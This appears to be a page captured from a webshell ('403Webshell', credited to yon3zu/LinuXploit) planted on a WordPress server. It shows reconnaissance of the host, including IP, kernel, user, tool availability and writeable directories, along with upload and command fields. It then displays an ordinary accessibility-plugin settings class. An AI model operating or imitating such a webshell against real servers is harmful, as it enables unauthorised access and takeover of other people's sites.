403Webshell
Server IP : 3.93.235.159  /  Your IP : 216.73.216.140
Web Server : Apache
System : Linux ip-172-26-0-169 5.10.0-46-cloud-amd64 #1 SMP Debian 5.10.262-1 (2026-07-31) x86_64
User : bitnami ( 1000)
PHP Version : 8.2.9
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /bitnami/wordpress/wp-content/plugins/pojo-accessibility/modules/settings/classes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /bitnami/wordpress/wp-content/plugins/pojo-accessibility/modules/settings/classes/settings.php
<?php

namespace EA11y\Modules\Settings\Classes;

if ( ! defined( 'ABSPATH' ) ) {
	exit; // Exit if accessed directly.
}

class Settings {


	public const CLOSE_POST_CONNECT_MODAL = 'ea11y_close_post_connect_modal';
	public const CLOSE_ONBOARDING_MODAL = 'ea11y_close_onboarding_modal';
	public const CLOSE_GET_STARTED_MODAL = 'ea11y_close_get_started_modal';
	public const MIGRATION_POPUP_DISMISSED = 'ea11y_migration_popup_dismissed';

	public const IS_VALID_PLAN_DATA = 'ea11y_is_valid_plan_data';
	public const PLAN_DATA = 'ea11y_plan_data';
	public const PLAN_SCOPE = 'ea11y_plan_scope';
	public const WIDGET_ICON_SETTINGS = 'ea11y_widget_icon_settings';
	public const WIDGET_MENU_SETTINGS = 'ea11y_widget_menu_settings';
	public const WIDGET_ACTIVATION = 'ea11y_widget_activation_settings';
	public const SKIP_TO_CONTENT = 'ea11y_skip_to_content_settings';
	public const ANALYTICS_SETTINGS = 'ea11y_analytics_enabled';
	public const PLAN_DATA_REFRESH_TRANSIENT = 'ea11y_plan_data_refresh';
	public const SUBSCRIPTION_ID = 'ea11y_subscription_id';
	public const CLIENT_ID = 'ea11y_client_id';

	/**
	 * Returns plugin settings data by option name
	 * type cast to an appropriate data type.
	 *
	 * @param string $option_name
	 * @return mixed
	 */
	public static function get( string $option_name ) {
		switch ( $option_name ) {
			case self::PLAN_DATA:
				$value = get_option( $option_name );

				if ( is_string( $value ) ) {
					return json_decode( $value );
				}

				return $value;

			default:
				return get_option( $option_name );
		}
	}

	/**
	 * Update the settings data by option name.
	 *
	 * @param string $option_name
	 * @param $value
	 *
	 * @return bool
	 */
	public static function set( string $option_name, $value ): bool {
		return update_option( $option_name, $value, false );
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit